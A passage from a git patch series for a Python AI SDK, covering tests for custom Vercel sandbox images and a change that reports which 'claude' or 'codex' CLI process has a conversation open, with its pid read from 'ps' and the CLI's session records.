a tree in and reading it back.""" + src = tmp_path / "proj" + src.mkdir() + (src / "util.py").write_text("def add(a, b):\n return a + b\n") + async with VercelSandbox(**_creds(), image=UBUNTU) as ws: + assert await copy(src, ws / ".") == 1 + assert "def add" in await ws.read_text("util.py") + pwd = await ws.exec(["pwd"], timeout=60) + assert pwd.stdout.strip() == ws.path + + +async def test_a_reconnect_reports_the_image_its_vm_booted_from() -> None: + """afk reconnects by name and never passes image=; the image must still + be knowable from the reconnected object.""" + async with VercelSandbox(**_creds(), image=UBUNTU, keep=True) as ws: + name, booted = ws.name, ws.image + assert name and booted + try: + async with VercelSandbox(**_creds(), name=name) as back: + assert back.image == booted + finally: + async with VercelSandbox(**_creds(), name=name, keep=False): + pass + + +async def test_an_image_that_does_not_exist_is_an_error_not_a_hang() -> None: + from vercel.sandbox import SandboxApiError + + with pytest.raises(SandboxApiError, match="Image not found"): + async with VercelSandbox( + **_creds(), image="ai-python-no-such-image:never" + ): + pass + + +async def test_without_python3_writing_to_a_process_says_so() -> None: + """Measured: the first write failed as a bare ClosedResourceError, and a + harness reported only "could not write to the agent".""" + async with VercelSandbox(**_creds(), image=UBUNTU) as ws: + proc = await ws.spawn(["cat"]) + with pytest.raises(WorkspaceError, match="python3"): + await proc.write("hello\n") + + +@pytest.mark.live +@pytest.mark.slow +@pytest.mark.timeout(900) +@needs_gateway +async def test_a_harness_runs_in_a_custom_image(harness_kind: str) -> None: + """The point of the feature: an agent works in the image it was given. + + node:24 ships npm but neither python3 nor a harness CLI. Given python3, + as any image meant for harnesses must, the adapter installs its CLI + itself: a path the default image, which has both CLIs, never takes.""" + async with VercelSandbox( + **_creds(), + image=NODE24, + gateway=vercel_ai_gateway(), + allow_hosts=APT_HOSTS, + execution_time_limit=900, + ) as ws: + # The gateway's firewall passes allowed hosts over HTTPS only. + # Measured: apt's default http:// mirrors had the connection reset. + apt = await ws.exec( + [ + "sh", + "-c", + "sudo sed -i 's|http://|https://|'" + " /etc/apt/sources.list.d/ubuntu.sources" + " && sudo apt-get update -qq" + " && sudo DEBIAN_FRONTEND=noninteractive" + " apt-get install -y -qq python3-minimal", + ], + timeout=300, + ) + assert apt.exit_code == 0, apt.stderr + await ws.write_text("util.py", "def add(a, b):\n return a + b\n") + async with SPECS[harness_kind](workspace=ws) as harness: + result = await harness.run( + "Read util.py and reply with the function name only." + ) + exact(result.text, "add") diff --git a/tests/workspaces/experimental/test_sandbox.py b/tests/workspaces/experimental/test_sandbox.py index d1b5e190..2b6aec35 100644 --- a/tests/workspaces/experimental/test_sandbox.py +++ b/tests/workspaces/experimental/test_sandbox.py @@ -10,6 +10,7 @@ import base64 import json import time +from typing import Any import pytest @@ -108,7 +109,7 @@ async def test_writes_from_many_tasks_go_one_at_a_time_in_order() -> None: resource" when a steer and a reply to the agent were written at once.""" import asyncio from types import SimpleNamespace - from typing import Any, cast + from typing import cast from ai.workspaces.experimental._sandbox import SandboxProcess @@ -131,3 +132,71 @@ async def send(data: bytes) -> None: lines = [f'{{"id": {i}}}\n' for i in range(5)] await asyncio.gather(*(process.write(line) for line in lines)) assert sent == [line.encode() for line in lines] + + +def _refusing(code: str) -> Any: + """A live sandbox whose process API answers every run with `code`.""" + from types import SimpleNamespace + + import httpx2 as httpx + from vercel.sandbox import SandboxApiError + + async def run_process(*_args: Any, **_kwargs: Any) -> Any: + data = {"error": {"code": code}} + raise SandboxApiError(httpx.Response(400, json=data), code, data=data) + + return SimpleNamespace(run_process=run_process) + + +async def test_a_command_not_on_path_is_exit_127_not_an_error() -> None: + """As on a local machine. Measured: in vercel/sandbox/node:24, which has + no harness CLIs, the `claude --version` probe raised `executable file + not found in $PATH` and the adapter never reached its install step.""" + from ai.workspaces.experimental import VercelSandbox + + ws = VercelSandbox() + ws._sandbox = _refusing("executable_not_found") + result = await ws.exec(["claude", "--version"]) + assert result.exit_code == 127 + assert result.stderr.startswith("claude: ") + + +async def test_other_process_api_errors_still_raise() -> None: + from vercel.sandbox import SandboxApiError + + from ai.workspaces.experimental import VercelSandbox + + ws = VercelSandbox() + ws._sandbox = _refusing("internal") + with pytest.raises(SandboxApiError): + await ws.exec(["true"]) + + +async def test_a_conduit_that_exits_before_ready_names_python3() -> None: + """Measured in vercel/sandbox/ubuntu: the conduit shell printed this and + exited, and the write then failed as a bare ClosedResourceError.""" + import contextlib + from collections.abc import AsyncIterator + from types import SimpleNamespace + from typing import cast + + import anyio + + from ai.workspaces.experimental._sandbox import SandboxProcess + from ai.workspaces.experimental.errors import WorkspaceError + + said = [b"/bin/sh: 1: exec: python3: not found\n"] + + async def receive() -> bytes: + if not said: + raise anyio.EndOfStream + return said.pop() + + @contextlib.asynccontextmanager + async def open_interactive(*_args: Any) -> AsyncIterator[Any]: + yield SimpleNamespace(stream=SimpleNamespace(receive=receive)) + + sandbox = SimpleNamespace(open_interactive=open_interactive) + process = SandboxProcess(cast("Any", None), cast("Any", sandbox), "/f") + with pytest.raises(WorkspaceError, match=r"python3: not found\).*python3"): + await process.write("x") diff --git a/tests/workspaces/experimental/test_sandbox_image.py b/tests/workspaces/experimental/test_sandbox_image.py new file mode 100644 index 00000000..a33e8ebf --- /dev/null +++ b/tests/workspaces/experimental/test_sandbox_image.py @@ -0,0 +1,120 @@ +"""`VercelSandbox(image=...)`: which root filesystem a new sandbox boots from. + +The live tests in tests/harnesses/experimental/e2e/test_sandbox_image.py boot +real VMs from non-default images. These pin the contract offline: what is +refused before anything boots, and what reaches the platform's create call. +""" + +from __future__ import annotations + +from types import SimpleNamespace +from typing import Any + +import pytest + +from ai.workspaces.experimental import VercelSandbox + + +def test_image_and_name_are_refused_together() -> None: + """A reconnect keeps the image its VM booted from; asking for another + one there could only be ignored.""" + with pytest.raises(ValueError, match="name= reconnects"): + VercelSandbox(name="sbx_x", image="vercel/sandbox/ubuntu") + + +def test_image_and_snapshot_are_refused_together() -> None: + with pytest.raises(ValueError, match="pass one"): + VercelSandbox(snapshot="snap_x", image="vercel/sandbox/ubuntu") + + +@pytest.mark.parametrize("blank", ["", " "]) +def test_a_blank_image_is_refused(blank: str) -> None: + with pytest.raises(ValueError, match="non-empty"): + VercelSandbox(image=blank) + + +def test_before_open_the_image_is_the_one_asked_for() -> None: + assert VercelSandbox(image="vercel/sandbox/node:24").image == ( + "vercel/sandbox/node:24" + ) + assert VercelSandbox().image is None # the platform default + + +class _Api: + """Records what `_open` asks the platform for; boots nothing.""" + + def __init__(self, reported_image: str | None) -> None: + self.calls: list[dict[str, Any]] = [] + self._reported = reported_image + + async def create_sandbox(self, **options: Any) -> Any: + self.calls.append(options) + + async def mkdir(_path: str) -> None: + return None + + return SimpleNamespace( + name="sbx_test", + image=self._reported, + fs=SimpleNamespace(mkdir=mkdir), + ) + + +async def _open_with( + ws: VercelSandbox, api: _Api, mp: pytest.MonkeyPatch +) -> None: + mp.setattr(ws, "_api", lambda: api) + await ws._open() + + +async def test_the_image_reaches_the_create_call( + monkeypatch: pytest.MonkeyPatch, +) -> None: + api = _Api(reported_image="vercel/sandbox/python:3.14") + await _open_with( + VercelSandbox(image="vercel/sandbox/python:3.14"), api, monkeypatch + ) + assert api.calls[0]["image"] == "vercel/sandbox/python:3.14" + + +async def test_without_an_image_the_platform_default_is_left_alone( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """No `image` key at all, rather than `image=None`: the default is the + platform's to choose, and stays its choice when it changes.""" + api = _Api(reported_image=None) + await _open_with(VercelSandbox(), api, monkeypatch) + assert "image" not in api.calls[0] + + +async def test_once_open_the_image_is_the_one_the_platform_reports( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """The platform may resolve a tag to something more specific; that is + what booted, so that is what `image` says.""" + resolved = "vercel/sandbox/python@sha256:" + "0" * 64 + ws = VercelSandbox(image="vercel/sandbox/python:3.14") + await _open_with(ws, _Api(reported_image=resolved), monkeypatch) + assert ws.image == resolved + + +async def test_an_image_travels_with_a_gateway_policy( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """Image and egress are both creation-time choices; one must not drop + the other.""" + from ai.workspaces.experimental._gateway import Gateway + + api = _Api(reported_image=None) + ws = VercelSandbox( + image="vercel/sandbox/node:24", + gateway=Gateway(base_url="https://gateway.example", credential="k"), + ) + + async def record(*_args: Any, **_kwargs: Any) -> None: + return None + + monkeypatch.setattr(ws, "_write_egress_record", record) + await _open_with(ws, api, monkeypatch) + assert api.calls[0]["image"] == "vercel/sandbox/node:24" + assert "network_policy" in api.calls[0] From 8510f8bc80227a185754a76d554d876a660c6fe4 Mon Sep 17 00:00:00 2001 From: George Date: Fri, 2 Oct 2026 09:02:56 -0700 Subject: [PATCH 12/37] Add .env to gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index f766fe51..f9198ecf 100644 --- a/.gitignore +++ b/.gitignore @@ -216,3 +216,4 @@ __marimo__/ .claude/ .codex +.env* From 78b9020eef71f8332e5f757ae1f38464ae594913 Mon Sep 17 00:00:00 2001 From: George Date: Fri, 2 Oct 2026 09:53:20 -0700 Subject: [PATCH 13/37] harnesses: a CLI started in a terminal shows as running, with its pid `SessionInfo.running` read only the SDK's own lock, so a `claude` or `codex` a person typed in another terminal listed as idle. It now reports any process that has the conversation open, and `SessionInfo.pid` says which one, when known. - claude records each of its processes in /sessions/.json, with the conversation it is on and its start time (UTC, as `ps` prints it). A record is a holder only while `ps` shows that pid with that start time: a record left behind, or a pid reused by a later process, is not. - codex records nothing per process. Its writer lock is held by the app-server daemon its TUI talks to, not by the TUI, and stays held a while after the TUI exits (measured, codex 0.159), so it cannot name a process. A codex whose command line names the thread (`codex resume `, `codex exec resume `) is found; a fresh `codex` is not. - Both read the workspace's own `ps` and files, so this holds in a sandbox as on this machine, and merge with the SDK lock's holders, whose pid the lock now returns. `resume()` still refuses only clients holding the SDK lock; the docs say so. Offline tests pin the record matching (live, left behind, reused pid, malformed), the lock merge, and which codex command lines name a thread, with real processes standing in for the CLIs. --- .../content/docs/basics/harnesses.mdx | 6 +- .../content/docs/reference/harnesses.mdx | 3 +- .../harnesses/experimental/_adapters/base.py | 10 +- .../experimental/_adapters/claude.py | 45 +++- .../experimental/_adapters/claude_store.py | 15 +- .../harnesses/experimental/_adapters/codex.py | 37 ++- .../harnesses/experimental/_cli_processes.py | 45 ++++ src/ai/harnesses/experimental/_harness.py | 1 + src/ai/harnesses/experimental/_session.py | 9 +- .../harnesses/experimental/_session_lock.py | 11 +- .../experimental/test_cli_processes.py | 234 ++++++++++++++++++ .../experimental/test_session_lock.py | 2 +- 12 files changed, 394 insertions(+), 24 deletions(-) create mode 100644 src/ai/harnesses/experimental/_cli_processes.py create mode 100644 tests/harnesses/experimental/test_cli_processes.py diff --git a/docs/ai-python/content/docs/basics/harnesses.mdx b/docs/ai-python/content/docs/basics/harnesses.mdx index b042fbdb..8bb0005f 100644 --- a/docs/ai-python/content/docs/basics/harnesses.mdx +++ b/docs/ai-python/content/docs/basics/harnesses.mdx @@ -275,8 +275,10 @@ same = await agent.resume(infos[0].session_id) conversation. If another SDK client or an `agent.tui()` holds it, `resume()` raises `SessionBusyError`, and `SessionInfo.running` is `True`. - A `claude` or `codex` that a person started in a terminal holds no claim, - so `resume()` cannot tell it is open. Fork conversations you did not - start. + so `resume()` does not refuse it. `sessions()` still shows it as + `running`, with its `pid`: any `claude`, and a `codex` started as + `codex resume `. A fresh `codex` names no conversation, so it is not + seen. Fork conversations you did not start. `harness_from(handle, fork=True)` forks instead of resuming. diff --git a/docs/ai-python/content/docs/reference/harnesses.mdx b/docs/ai-python/content/docs/reference/harnesses.mdx index db0ca559..9982779d 100644 --- a/docs/ai-python/content/docs/reference/harnesses.mdx +++ b/docs/ai-python/content/docs/reference/harnesses.mdx @@ -218,7 +218,8 @@ One conversation in the CLI's store. | `title` | The conversation's title or first prompt, or `None`. | | `cwd` | The directory it ran in, or `None`. | | `updated_at`, `created_at` | Timestamps as the CLI reports them, or `None`. | -| `running` | `True` when a client holds the conversation, so `resume()` would raise `SessionBusyError`. | +| `running` | `True` when a process has the conversation open. An SDK client or `agent.tui()` holds it, so `resume()` would raise `SessionBusyError`. A CLI started in a terminal shows as running too: any `claude`, and a `codex` started as `codex resume `. `resume()` does not check for those. | +| `pid` | The process that has it open, in the workspace, or `None`. | ## Handle diff --git a/src/ai/harnesses/experimental/_adapters/base.py b/src/ai/harnesses/experimental/_adapters/base.py index 5e123ef5..2e89ba72 100644 --- a/src/ai/harnesses/experimental/_adapters/base.py +++ b/src/ai/harnesses/experimental/_adapters/base.py @@ -133,9 +133,13 @@ async def resume_session_lock(self, session_id: str) -> None: One writer, whichever way it is driven. """ - async def running_sessions(self) -> set[str]: - """Conversations a client currently holds open (see session_lock).""" - return set() + async def running_sessions(self) -> dict[str, int | None]: + """Conversations a process has open, and its pid when known. + + A client of this SDK (see session_lock), or the CLI however it was + started. + """ + return {} async def list_sessions(self) -> list[Any]: """Conversations the harness has in this workspace.""" diff --git a/src/ai/harnesses/experimental/_adapters/claude.py b/src/ai/harnesses/experimental/_adapters/claude.py index 6dd357c4..8e18a1c3 100644 --- a/src/ai/harnesses/experimental/_adapters/claude.py +++ b/src/ai/harnesses/experimental/_adapters/claude.py @@ -27,6 +27,7 @@ from .. import ( _approval, _capabilities, + _cli_processes, _handoff, _session, _session_lock, @@ -77,6 +78,7 @@ def __init__( # runs somewhere other than this machine. None on Local: there the # SDK's own disk readers are exactly right. self._store: claude_store.WorkspaceSessionStore | None = None + self._config_dir: str | None = None self._lock: _session_lock.SessionLock | None = None self._held: set[str] = set() self._version: str | None = None @@ -150,9 +152,10 @@ async def start( # Ours to provision. Never on a user's own machine. await workspace.exec(["sh", "-c", INSTALL], timeout=600) probe = await self._probe(workspace) + self._config_dir = await claude_store.config_dir(workspace) if workspace.kind != "local": self._store = await claude_store.WorkspaceSessionStore.discover( - workspace + workspace, self._config_dir ) if probe.exit_code != 0: raise errors.ExecutableMissingError(KIND, self._executable, INSTALL) @@ -406,8 +409,44 @@ async def resume_session_lock(self, session_id: str) -> None: await self._require_known(session_id) await self._acquire(session_id) - async def running_sessions(self) -> set[str]: - return await self._lock.running() if self._lock is not None else set() + async def running_sessions(self) -> dict[str, int | None]: + held = await self._lock.holders() if self._lock is not None else {} + return {**held, **await self._cli_sessions()} + + async def _cli_sessions(self) -> dict[str, int]: + """Conversations a claude CLI has open, by pid, however it started. + + The CLI records each of its processes in /sessions/.json, + with the conversation it is on and when it started (`procStart`, in + UTC, as `ps` prints it). A record whose process is gone, or whose pid + now names a later process, is left behind, not a holder. + """ + assert self._workspace is not None and self._config_dir is not None + directory = f"{self._config_dir}/sessions" + listing = await self._workspace.exec(["ls", directory], timeout=30) + names = [ + name + for name in listing.stdout.split() + if listing.exit_code == 0 and name.endswith(".json") + ] + if not names: + return {} + running = await _cli_processes.processes(self._workspace) + held: dict[str, int] = {} + for name in names: + try: + record = json.loads( + await self._workspace.read_text(f"{directory}/{name}") + ) + pid, session_id = int(record["pid"]), str(record["sessionId"]) + except (FileNotFoundError, ValueError, KeyError, TypeError): + continue + process = running.get(pid) + if process is not None and process.started == record.get( + "procStart" + ): + held[session_id] = pid + return held async def close_session(self, session_id: str) -> None: client = self._clients.pop(session_id, None) diff --git a/src/ai/harnesses/experimental/_adapters/claude_store.py b/src/ai/harnesses/experimental/_adapters/claude_store.py index e3e8b1e3..54f0310e 100644 --- a/src/ai/harnesses/experimental/_adapters/claude_store.py +++ b/src/ai/harnesses/experimental/_adapters/claude_store.py @@ -29,6 +29,13 @@ from ....workspaces.experimental import _base +async def config_dir(workspace: _base.Workspace) -> str: + """Resolve the CLI's config dir the way the CLI does, in the workspace.""" + override = await workspace.exec(["printenv", "CLAUDE_CONFIG_DIR"]) + found = override.stdout.strip() if override.exit_code == 0 else "" + return found or f"{await workspace.home()}/.claude" + + class WorkspaceSessionStore(claude_agent_sdk.SessionStore): def __init__(self, workspace: _base.Workspace, config_dir: str) -> None: self._ws = workspace @@ -36,12 +43,10 @@ def __init__(self, workspace: _base.Workspace, config_dir: str) -> None: @classmethod async def discover( - cls, workspace: _base.Workspace + cls, workspace: _base.Workspace, directory: str | None = None ) -> WorkspaceSessionStore: - """Resolve the CLI's config dir the way the CLI does, in the VM.""" - override = await workspace.exec(["printenv", "CLAUDE_CONFIG_DIR"]) - config_dir = override.stdout.strip() if override.exit_code == 0 else "" - return cls(workspace, config_dir or f"{await workspace.home()}/.claude") + """Open the store in the CLI's config dir: `directory`, or resolved.""" + return cls(workspace, directory or await config_dir(workspace)) def _path(self, key: sdk_types.SessionKey) -> str: project_dir = posixpath.join(self._projects, key["project_key"]) diff --git a/src/ai/harnesses/experimental/_adapters/codex.py b/src/ai/harnesses/experimental/_adapters/codex.py index 82dc1b7c..edd8ae93 100644 --- a/src/ai/harnesses/experimental/_adapters/codex.py +++ b/src/ai/harnesses/experimental/_adapters/codex.py @@ -15,6 +15,8 @@ import contextlib import importlib.metadata import json +import posixpath +import re from typing import TYPE_CHECKING, Any from ....types import events as events_ @@ -25,6 +27,7 @@ from .. import ( _approval, _capabilities, + _cli_processes, _handoff, _session, _session_lock, @@ -39,6 +42,7 @@ # Internal marker delivered on a turn queue when the process dies. CRASHED = "__crashed__" INSTALL = "npm install -g @openai/codex" +THREAD_ID = re.compile(r"[0-9a-f]{8}(-[0-9a-f]{4}){3}-[0-9a-f]{12}") # Codex asks only when its own policy escalates — sandbox escapes, blocked # network, MCP prompts — so coverage is "policy", like Claude's, for a @@ -476,8 +480,37 @@ async def resume_session_lock(self, session_id: str) -> None: await self._hand_over(session_id) await self._acquire(session_id) - async def running_sessions(self) -> set[str]: - return await self._lock.running() if self._lock is not None else set() + async def running_sessions(self) -> dict[str, int | None]: + held = await self._lock.holders() if self._lock is not None else {} + return {**held, **await self._cli_sessions()} + + async def _cli_sessions(self) -> dict[str, int]: + """Threads a codex CLI has open, by pid, when its argv names them. + + `codex resume `, `codex exec resume `. Codex records no + process per thread. Its own writer lock + (~/.codex/thread-writer-locks/.lock) is held by the app-server + daemon the TUI talks to, not the TUI, and stays held a while after + the TUI exits (measured, codex 0.159). So a fresh `codex`, which + names no thread, is not found, nor a thread it switches to. + """ + assert self._workspace is not None + held: dict[str, int] = {} + for process in ( + await _cli_processes.processes(self._workspace) + ).values(): + argv = process.argv + if ( + not argv + or posixpath.basename(argv[0]) != "codex" + or "resume" not in argv + ): + continue + after = argv[argv.index("resume") + 1 :] + thread = next((a for a in after if THREAD_ID.fullmatch(a)), None) + if thread is not None: + held[thread] = process.pid + return held async def close_session(self, session_id: str) -> None: self._threads.discard(session_id) diff --git a/src/ai/harnesses/experimental/_cli_processes.py b/src/ai/harnesses/experimental/_cli_processes.py new file mode 100644 index 00000000..b5e27ccd --- /dev/null +++ b/src/ai/harnesses/experimental/_cli_processes.py @@ -0,0 +1,45 @@ +"""The processes running in a workspace, as `ps` reports them. + +How a harness finds the CLIs it did not launch: a `claude` or `codex` typed +in a terminal holds no SDK lock. Through the workspace, so it reads the +machine the CLI runs on, this one or a sandbox. +""" + +from __future__ import annotations + +from dataclasses import dataclass +from typing import TYPE_CHECKING + +if TYPE_CHECKING: + from ...workspaces.experimental import _base + + +@dataclass(frozen=True) +class Process: + pid: int + started: str + """When it started, as `ps` prints it, in UTC: with the pid, which + process this is, not a later one that reuses the pid.""" + argv: list[str] + """Split on spaces: `ps` joins the argv, so an argument with a space in it + comes back as several.""" + + +async def processes(workspace: _base.Workspace) -> dict[int, Process]: + """Every process in the workspace, by pid; empty when `ps` cannot run.""" + result = await workspace.exec( + ["ps", "-eo", "pid=,lstart=,args="], + env={"TZ": "UTC", "LC_ALL": "C"}, + timeout=30, + ) + if result.exit_code != 0: + return {} + found: dict[int, Process] = {} + for line in result.stdout.splitlines(): + pid, _, rest = line.strip().partition(" ") + if not pid.isdigit(): + continue + rest = rest.lstrip() + # lstart is fixed width: "Fri Oct 2 16:20:16 2026". + found[int(pid)] = Process(int(pid), rest[:24], rest[24:].split()) + return found diff --git a/src/ai/harnesses/experimental/_harness.py b/src/ai/harnesses/experimental/_harness.py index 756830d9..558d64ce 100644 --- a/src/ai/harnesses/experimental/_harness.py +++ b/src/ai/harnesses/experimental/_harness.py @@ -200,6 +200,7 @@ async def sessions(self) -> list[_session.SessionInfo]: running = await self.adapter.running_sessions() for info in infos: info.running = info.session_id in running + info.pid = running.get(info.session_id) return infos async def history( diff --git a/src/ai/harnesses/experimental/_session.py b/src/ai/harnesses/experimental/_session.py index d89c0e4d..bb821a7c 100644 --- a/src/ai/harnesses/experimental/_session.py +++ b/src/ai/harnesses/experimental/_session.py @@ -46,8 +46,13 @@ class SessionInfo(BaseModel): updated_at: int | None = None created_at: int | None = None running: bool = False - """Whether a client currently holds this conversation open — it would - refuse `resume` with SessionBusyError; `fork` it instead.""" + """Whether a process has this conversation open. A client of this SDK or + an `agent.tui()` holds it, and `resume` refuses with SessionBusyError; + the CLI started in a terminal is seen too (any `claude`, a `codex` only + as `codex resume `) but holds nothing `resume` checks. `fork` it + instead.""" + pid: int | None = None + """The process that has it open, in the workspace, when known.""" class Turn: diff --git a/src/ai/harnesses/experimental/_session_lock.py b/src/ai/harnesses/experimental/_session_lock.py index bf691dd8..102e5b32 100644 --- a/src/ai/harnesses/experimental/_session_lock.py +++ b/src/ai/harnesses/experimental/_session_lock.py @@ -116,16 +116,17 @@ async def holder(self, session_id: str) -> Holder | None: return None return holder - async def running(self) -> set[str]: - """Every conversation with a live holder, in one pass.""" + async def holders(self) -> dict[str, int | None]: + """Every conversation with a live holder, and its pid, in one pass.""" root = await self.root() listing = await self._workspace.exec(["ls", root], timeout=30) - live: set[str] = set() + live: dict[str, int | None] = {} for session_id in ( listing.stdout.split() if listing.exit_code == 0 else [] ): - if await self.holder(session_id) is not None: - live.add(session_id) + holder = await self.holder(session_id) + if holder is not None: + live[session_id] = holder.pid return live # -- plumbing --------------------------------------------------------- diff --git a/tests/harnesses/experimental/test_cli_processes.py b/tests/harnesses/experimental/test_cli_processes.py new file mode 100644 index 00000000..fb7ff570 --- /dev/null +++ b/tests/harnesses/experimental/test_cli_processes.py @@ -0,0 +1,234 @@ +"""A CLI the SDK did not launch is still seen holding its conversation. + +On a real local workspace, with real processes standing in for the CLIs: a +claude process is known by the record the CLI writes for it, a codex one by +its command line. A record left behind, or naming a pid a later process +reuses, holds nothing. +""" + +from __future__ import annotations + +import json +import os +import subprocess +import sys +import uuid +from collections.abc import AsyncIterator, Iterator +from pathlib import Path + +import pytest + +from ai.harnesses.experimental import _cli_processes +from ai.harnesses.experimental._adapters.claude import ClaudeAdapter +from ai.harnesses.experimental._adapters.codex import CodexAdapter +from ai.harnesses.experimental._session_lock import SessionLock +from ai.workspaces.experimental import Local + + +def _started(pid: int) -> str: + """What claude records as `procStart`: `ps` lstart, in UTC.""" + return subprocess.run( + ["ps", "-o", "lstart=", "-p", str(pid)], + capture_output=True, + text=True, + env={**os.environ, "TZ": "UTC", "LC_ALL": "C"}, + check=True, + ).stdout.strip() + + +@pytest.fixture +def spawn() -> Iterator[list[subprocess.Popen[bytes]]]: + """Processes that stand in for CLIs, ended after the test.""" + procs: list[subprocess.Popen[bytes]] = [] + yield procs + for p in procs: + p.kill() + p.wait() + + +def _sleeper(argv0: str = "sleeper", *args: str) -> subprocess.Popen[bytes]: + """A process whose command line reads `argv0 ... args`.""" + return subprocess.Popen( + [argv0, "-c", "import time; time.sleep(60)", *args], + executable=sys.executable, + ) + + +@pytest.fixture +async def ws(tmp_path: Path) -> AsyncIterator[Local]: + config = tmp_path / "claude-config" + (config / "sessions").mkdir(parents=True) + async with Local(tmp_path, env={"CLAUDE_CONFIG_DIR": str(config)}) as ws: + yield ws + + +def _claude(ws: Local) -> ClaudeAdapter: + # What start() sets, without probing for a real `claude`. + adapter = ClaudeAdapter() + adapter._workspace = ws + adapter._config_dir = ws.env["CLAUDE_CONFIG_DIR"] + # A kind of its own: the lock lives under the real HOME. + adapter._lock = SessionLock(ws, "cli-processes-test-claude") + return adapter + + +def _codex(ws: Local) -> CodexAdapter: + adapter = CodexAdapter() + adapter._workspace = ws + adapter._lock = SessionLock(ws, "cli-processes-test-codex") + return adapter + + +def _record(ws: Local, pid: int, session_id: str, started: str) -> None: + path = Path(ws.env["CLAUDE_CONFIG_DIR"]) / "sessions" / f"{pid}.json" + path.write_text( + json.dumps( + { + "pid": pid, + "sessionId": session_id, + "procStart": started, + "kind": "interactive", + } + ) + ) + + +async def test_processes_lists_this_one_with_its_start_and_argv( + ws: Local, spawn: list[subprocess.Popen[bytes]] +) -> None: + p = _sleeper("sleeper", "--flag", "value") + spawn.append(p) + found = await _cli_processes.processes(ws) + assert os.getpid() in found + mine = found[p.pid] + assert mine.started == _started(p.pid) + assert mine.argv[0] == "sleeper" + assert mine.argv[-2:] == ["--flag", "value"] + + +async def test_a_claude_process_holds_the_conversation_it_records( + ws: Local, spawn: list[subprocess.Popen[bytes]] +) -> None: + live = _sleeper() + spawn.append(live) + sid = str(uuid.uuid4()) + _record(ws, live.pid, sid, _started(live.pid)) + assert await _claude(ws).running_sessions() == {sid: live.pid} + + +async def test_a_record_left_behind_holds_nothing( + ws: Local, spawn: list[subprocess.Popen[bytes]] +) -> None: + gone = _sleeper() + started = _started(gone.pid) + gone.kill() + gone.wait() + _record(ws, gone.pid, str(uuid.uuid4()), started) + assert await _claude(ws).running_sessions() == {} + + +async def test_a_reused_pid_is_not_the_recorded_process( + ws: Local, spawn: list[subprocess.Popen[bytes]] +) -> None: + # Same pid, a different start: a later process, not the claude that + # wrote the record. Stopping it would end the wrong process. + live = _sleeper() + spawn.append(live) + _record(ws, live.pid, str(uuid.uuid4()), "Thu Jan 1 00:00:00 1970") + assert await _claude(ws).running_sessions() == {} + + +async def test_a_record_that_is_not_json_is_skipped(ws: Local) -> None: + sessions = Path(ws.env["CLAUDE_CONFIG_DIR"]) / "sessions" + (sessions / "123.json").write_text("{not json") + (sessions / "456.json").write_text(json.dumps({"pid": 456})) + assert await _claude(ws).running_sessions() == {} + + +async def test_no_sessions_directory_is_no_holders(tmp_path: Path) -> None: + async with Local( + tmp_path, env={"CLAUDE_CONFIG_DIR": str(tmp_path / "none")} + ) as ws: + adapter = _claude(ws) + assert await adapter.running_sessions() == {} + + +async def test_the_sdk_lock_and_the_cli_record_merge( + ws: Local, spawn: list[subprocess.Popen[bytes]] +) -> None: + adapter = _claude(ws) + assert adapter._lock is not None + by_sdk, by_cli = str(uuid.uuid4()), str(uuid.uuid4()) + await adapter._lock.acquire(by_sdk, pid=os.getpid()) + try: + live = _sleeper() + spawn.append(live) + _record(ws, live.pid, by_cli, _started(live.pid)) + assert await adapter.running_sessions() == { + by_sdk: os.getpid(), + by_cli: live.pid, + } + finally: + await adapter._lock.release(by_sdk) + + +async def test_the_cli_pid_wins_over_a_pidless_lock( + ws: Local, spawn: list[subprocess.Popen[bytes]] +) -> None: + # A TUI the SDK launched: locked before its pid is known, and the CLI's + # own record says which process it is. + adapter = _claude(ws) + assert adapter._lock is not None + sid = str(uuid.uuid4()) + await adapter._lock.acquire(sid) + try: + live = _sleeper() + spawn.append(live) + _record(ws, live.pid, sid, _started(live.pid)) + assert await adapter.running_sessions() == {sid: live.pid} + finally: + await adapter._lock.release(sid) + + +@pytest.mark.parametrize( + "args", + [ + ["resume", "{tid}"], + ["exec", "resume", "{tid}"], + ["resume", "--model", "gpt", "{tid}"], + ], +) +async def test_codex_resumed_by_id_holds_its_thread( + ws: Local, spawn: list[subprocess.Popen[bytes]], args: list[str] +) -> None: + tid = str(uuid.uuid4()) + p = _sleeper("/usr/local/bin/codex", *(a.format(tid=tid) for a in args)) + spawn.append(p) + # Only this thread: a real codex on this machine may hold others. + assert (await _codex(ws).running_sessions()).get(tid) == p.pid + + +@pytest.mark.parametrize( + ("argv0", "args"), + [ + # A fresh codex names no thread; nor does resume --last. + ("codex", []), + ("codex", ["resume", "--last"]), + # The app-server daemon holds threads, but is not one TUI's process. + ("codex", ["app-server", "--listen", "unix://"]), + # Not codex at all, though it says resume and an id. + ("other", ["resume", "{tid}"]), + ], +) +async def test_codex_processes_that_name_no_thread_hold_nothing( + ws: Local, + spawn: list[subprocess.Popen[bytes]], + argv0: str, + args: list[str], +) -> None: + tid = str(uuid.uuid4()) + p = _sleeper(argv0, *(a.format(tid=tid) for a in args)) + spawn.append(p) + running = await _codex(ws).running_sessions() + assert tid not in running + assert p.pid not in running.values() diff --git a/tests/harnesses/experimental/test_session_lock.py b/tests/harnesses/experimental/test_session_lock.py index 6322babc..f7e6f0ee 100644 --- a/tests/harnesses/experimental/test_session_lock.py +++ b/tests/harnesses/experimental/test_session_lock.py @@ -34,7 +34,7 @@ async def test_a_live_holder_blocks_a_second_acquire_until_release( with pytest.raises(SessionBusyError) as info: await lock.acquire(sid, pid=os.getpid()) assert info.value.holder_pid == os.getpid() - assert sid in await lock.running() + assert (await lock.holders())[sid] == os.getpid() finally: await lock.release(sid) assert await lock.holder(sid) is None From def94145d3f77e179733cae8bfbf748b4f5a56f3 Mon Sep 17 00:00:00 2001 From: George Date: Fri, 2 Oct 2026 10:00:42 -0700 Subject: [PATCH 14/37] afk: Enter enters a conversation here too; peek and stop one open elsewhere In the picker a key now means one thing on every row it is on, and Enter puts you in the conversation wherever it is: - here, it hands the terminal to the harness's own resume (`claude --resume `, `codex resume `): afk execs it, so the scrollback shows the command that ran. Push moves to `u` (`b` is still push --bg), since `p` already peeks. - open in another terminal, it peeks: resuming it too would make two writers. `p` peeks any conversation here, and `s` stops the process it is open in, asking first and naming the pid. Stop is offered only when the harness can say which process that is. `afk peek ` and `afk stop ` look here when nothing pushed matches. Peek reads this directory's store; stop sends SIGTERM, so that terminal gets its 